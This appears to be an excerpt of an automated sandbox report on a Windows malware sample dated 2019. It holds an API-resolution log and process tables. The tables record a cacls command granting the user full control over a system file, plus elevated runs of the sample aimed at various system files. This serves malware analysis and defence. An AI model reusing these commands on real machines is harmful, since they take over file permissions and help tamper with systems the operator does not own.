Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteConsoleW, address_out = 0x75eff500	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFilePointerEx, address_out = 0x75eff130	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnterCriticalSection, address_out = 0x77bfb2d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LeaveCriticalSection, address_out = 0x77bfb250	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetStdHandle, address_out = 0x75ea6620	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapAlloc, address_out = 0x77bf2dc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EncodePointer, address_out = 0x77c129e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DecodePointer, address_out = 0x77c11ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitProcess, address_out = 0x75ea3cb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleExW, address_out = 0x75ea5110	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = MultiByteToWideChar, address_out = 0x75ea5c40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WideCharToMultiByte, address_out = 0x75ea6b10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapFree, address_out = 0x75ea57f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleMode, address_out = 0x75eff450	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleInputA, address_out = 0x75eff4a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleMode, address_out = 0x75eff4e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThread, address_out = 0x75ea46b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentThreadId, address_out = 0x75ea8820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExitThread, address_out = 0x77c16390	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryExW, address_out = 0x75ea5ac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteCriticalSection, address_out = 0x77bdfb90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushFileBuffers, address_out = 0x75efee70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WriteFile, address_out = 0x75eff180	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleCP, address_out = 0x75eff440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsProcessorFeaturePresent, address_out = 0x75ea5960	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadFile, address_out = 0x75eff090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStartupInfoW, address_out = 0x75ea5320	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = UnhandledExceptionFilter, address_out = 0x75ea68d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetUnhandledExceptionFilter, address_out = 0x75ea6720	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionAndSpinCount, address_out = 0x75efebb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = Sleep, address_out = 0x75ea6760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateProcess, address_out = 0x75ea67e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsAlloc, address_out = 0x75ea6820	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsGetValue, address_out = 0x75ea6850	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsSetValue, address_out = 0x75ea6870	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TlsFree, address_out = 0x75ea6830	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidCodePage, address_out = 0x75ea59c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetACP, address_out = 0x75ea4ca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetOEMCP, address_out = 0x75ea5160	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCPInfo, address_out = 0x75ea4d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcessHeap, address_out = 0x75ea51f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = RtlUnwind, address_out = 0x75ea7c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryPerformanceCounter, address_out = 0x75ea5da0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessId, address_out = 0x75efea20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemTimeAsFileTime, address_out = 0x75ea5530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetEnvironmentStringsW, address_out = 0x75ea4eb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeEnvironmentStringsW, address_out = 0x75ea4c20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapReAlloc, address_out = 0x77bef630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEndOfFile, address_out = 0x75eff0e0	1	Fn
Module	Load	module_name = ADVAPI32.dll, base_address = 0x761b0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = GetTokenInformation, address_out = 0x761cee90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegDeleteKeyW, address_out = 0x761cf910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupPrivilegeValueW, address_out = 0x761c8c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = AdjustTokenPrivileges, address_out = 0x761cffa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = OpenProcessToken, address_out = 0x761cefb0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegSetValueExW, address_out = 0x761cf530	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegQueryValueExW, address_out = 0x761ce5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyExW, address_out = 0x761ce580	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegOpenKeyW, address_out = 0x761cf460	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCreateKeyW, address_out = 0x761cf9b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = RegCloseKey, address_out = 0x761ced60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\advapi32.dll, function = LookupAccountSidW, address_out = 0x761cf100	1	Fn
Module	Load	module_name = COMDLG32.dll, base_address = 0x750d0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\comdlg32.dll, function = PrintDlgW, address_out = 0x75106b00	1	Fn
Module	Load	module_name = GDI32.dll, base_address = 0x75b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartPage, address_out = 0x75b747e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndDoc, address_out = 0x75b74f70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = StartDocW, address_out = 0x75b74ef0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = SetMapMode, address_out = 0x75b73c10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = GetDeviceCaps, address_out = 0x75b75c60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\gdi32.dll, function = EndPage, address_out = 0x75b74810	1	Fn
Module	Load	module_name = USER32.dll, base_address = 0x74b70000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SendMessageW, address_out = 0x74b807d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = DialogBoxIndirectParamW, address_out = 0x74b8e6a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = EndDialog, address_out = 0x74b79080	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = LoadCursorW, address_out = 0x74b9ab40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = InflateRect, address_out = 0x74b83570	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetSysColorBrush, address_out = 0x74ba09b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetCursor, address_out = 0x74ba2bec	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = SetWindowTextW, address_out = 0x74b7d0c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\user32.dll, function = GetDlgItem, address_out = 0x74b793b0	1	Fn
Module	Load	module_name = VERSION.dll, base_address = 0x744a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoW, address_out = 0x744a1590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = VerQueryValueW, address_out = 0x744a1510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\version.dll, function = GetFileVersionInfoSizeW, address_out = 0x744a1570	1	Fn
System	Get Time	type = System Time, time = 2019-04-17 10:42:50 (UTC)	1	Fn
System	Get Time	type = Performance Ctr, time = 32353886399	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsAlloc, address_out = 0x75ea4ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsFree, address_out = 0x75ea4b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsGetValue, address_out = 0x75ea4b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlsSetValue, address_out = 0x75ea4b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x75efebc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventExW, address_out = 0x75efeb20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x75efeb80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x75ea6700	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x75ea6d30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x77bfd7c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x77bfb840	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x77bfb740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x75ea6d70	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadpoolWait, address_out = 0x77bfc0b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x77bfbe10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77c22b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x77c18e50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x77c152f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x75ea4510	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x7500d900	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x75ea49a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CompareStringEx, address_out = 0x75ea7050	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDateFormatEx, address_out = 0x75ea7760	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x75ea7190	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTimeFormatEx, address_out = 0x75ea7780	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x75ea72c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsValidLocaleName, address_out = 0x75ea7440	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringEx, address_out = 0x75ea7480	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentPackageId, address_out = 0x74f9e260	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetTickCount64, address_out = 0x75ea0db0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Get Info	filename = STD_INPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_ERROR_HANDLE	1	Fn
File	Get Info	filename = STD_ERROR_HANDLE, type = file_type	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsWow64Process, address_out = 0x75ea5a20	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\mxkefu6a.exe, file_name_orig = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 260	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Temp\mxkeFu6a64.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn

Process #199: cacls.exe

0

»

Information	Value
ID	#199
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:22, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:03
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x4bc
Parent PID	0x1268 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1144 0x 1098 0x EE8

Process #200: mxkefu6a.exe

0

»

Information	Value
ID	#200
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula "MsSense.exe.mui" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:22, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:03
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xaec
Parent PID	0x9c0 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x FE0 0x 1300 0x 570

Process #201: mxkefu6a.exe

0

»

Information	Value
ID	#201
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula "Workflow.Targets" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:22, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:03
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1278
Parent PID	0xf8c (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x EC8 0x 11DC 0x F78

Process #202: mxkefu6a.exe

0

»

Information	Value
ID	#202
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula "PhotoAcq.dll.mui" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:22, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:03
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1390
Parent PID	0xf58 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1368 0x 1310 0x 13BC

Process #203: mpcmdrun.exe

0

»

Information	Value
ID	#203
File Name	c:\program files\windows defender\mpcmdrun.exe
Command Line	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:04:23, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:02
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x344
Parent PID	0x3f4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1280

Process #204: dllhost.exe

0

»

Information	Value
ID	#204
File Name	c:\windows\system32\dllhost.exe
Command Line	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:04:23, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:02
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x11e0
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 10C0 0x EB8

Remarks (1/1)

Monitored Processes

Behavior Information - Sequential View

Before

After